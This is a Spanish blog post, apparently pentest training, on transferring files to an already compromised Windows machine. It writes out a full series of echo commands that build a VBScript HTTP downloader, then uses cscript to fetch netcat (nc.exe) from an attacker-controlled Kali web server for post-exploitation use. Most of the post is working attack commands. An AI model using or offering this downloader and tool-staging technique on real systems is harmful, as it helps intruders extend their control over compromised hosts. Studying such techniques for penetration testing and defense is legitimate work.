Subir Archivos Hacia Un Sistema Comprometido Utilizando VBScript

VBScript es un lenguaje activo de scripting desarrollado por Microsoft. Diseñado como un lenguaje ligero con un intérprete veloz, para usarse en una amplia variedad de entornos Microsoft VBScript utiliza “Component Object Model” para acceder hacia elementos del entorno dentro del cual está ejecutándose; por ejemplo; FileSystemObject(FSO) se utiliza para crear, leer, actualizar y borrar archivos.

VBScript viene por defecto instalado desde Windows 98 hasta Windows XP y Windows Server 2003. Este motor de scripting puede ser aprovechado para descargar archivos hacia la máquina comprometida.

La siguiente demostración se basa en un sistema comprometido sobre el cual se tiene acceso shell de comandos en Windows.

El siguiente conjunto de comandos “echo” no interactivos, cuando son pegados en un shell remoto, escribirán un script VBS el cual actúa como un sencillo programa de descarga utilizando el protocolo HTTP.


C:\> echo strUrl = WScript.Arguments.Item(0) > wget.vbs
C:\> echo StrFile = WScript.Arguments.Item(1) >> wget.vbs
C:\> echo Const HTTPREQUEST_PROXYSETTING_DEFAULT = 0 >> wget.vbs
C:\> echo Const HTTPREQUEST_PROXYSETTING_PRECONFIG = 0 >> wget.vbs
C:\> echo Const HTTPREQUEST_PROXYSETTING_DIRECT = 1 >> wget.vbs
C:\> echo Const HTTPREQUEST_PROXYSETTING_PROXY = 2 >> wget.vbs
C:\> echo Dim http, varByteArray, strData, strBuffer, lngCounter, fs, ts >> wget.vbs
C:\> echo Err.Clear >> wget.vbs
C:\> echo Set http = Nothing >> wget.vbs
C:\> echo Set http = CreateObject(“WinHttp.WinHttpRequest.5.1”) >> wget.vbs
C:\> echo If http Is Nothing Then Set http = CreateObject(“WinHttp.WinHttpRequest”) >> wget.vbs
C:\> echo If http Is Nothing Then Set http = CreateObject(“MSXML2.ServerXMLHTTP”) >> wget.vbs
C:\> echo If http Is Nothing Then Set http = CreateObject(“Microsoft.XMLHTTP”) >> wget.vbs
C:\> echo http.Open “GET”, strURL, False >> wget.vbs
C:\> echo http.Send >> wget.vbs
C:\> echo varByteArray = http.ResponseBody >> wget.vbs
C:\> echo Set http = Nothing >> wget.vbs
C:\> echo Set fs = CreateObject(“Scripting.FileSystemObject”) >> wget.vbs
C:\> echo set ts = fs.CreateTextFile(StrFile, True) >> wget.vbs
C:\> echo strData = “” >> wget.vbs
C:\> echo strBuffer = “” >> wget.vbs
C:\> echo For lngCounter = 0 to UBound(varByteArray) >> wget.vbs
C:\> echo ts.Write.Chr(255 And Ascb(Midb(varByteArray,lngCounter + 1, 1))) >> wget.vbs
C:\> echo Next >> wget.vbs
C:\> echo ts.Close >> wget.vbs

Se lista el directorio por el archivo de nombre “wget.vbs”, el cual ha sido correctamente creado.

La herramienta a descargar desde el sistema comprometido será netcat, razón por la cual se copia el archivo de nombre “nc.exe” hacia el directorio web raíz de Kali Linux.

# cp /usr/share/windows-binaries/nc.exe /var/www/html/nc.exe

El comando “cscript.exe”es una versión en línea de comandos de “Windows Script Host” el cual proporciona opciones en línea de comandos para ajustar propiedades del script. Con “cscript.exe” se puede ejecutar scripts tipeando el nombre del archivo script en la línea de comando.

Desde la máquina comprometida se ejecuta el script indicando la URL donde reside el archivo a descargar. También se define un nombre para el archivo a descargar.

C:\>cscript wget.vbs http:// 192.168.0.46/nc.exe nc.exe

Si todo ha sido realizado correctamente, el script se ejecuta satisfactoriamente, y el archivo de nombre “nc.exe” ha sido descargado en el sistema comprometido. Pudiendo utilizarlo para acciones posteriores a la explotación.

Fuentes:

https://en.wikipedia.org/wiki/VBScript
https://technet.microsoft.com/en-us/library/bb490887.aspx

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s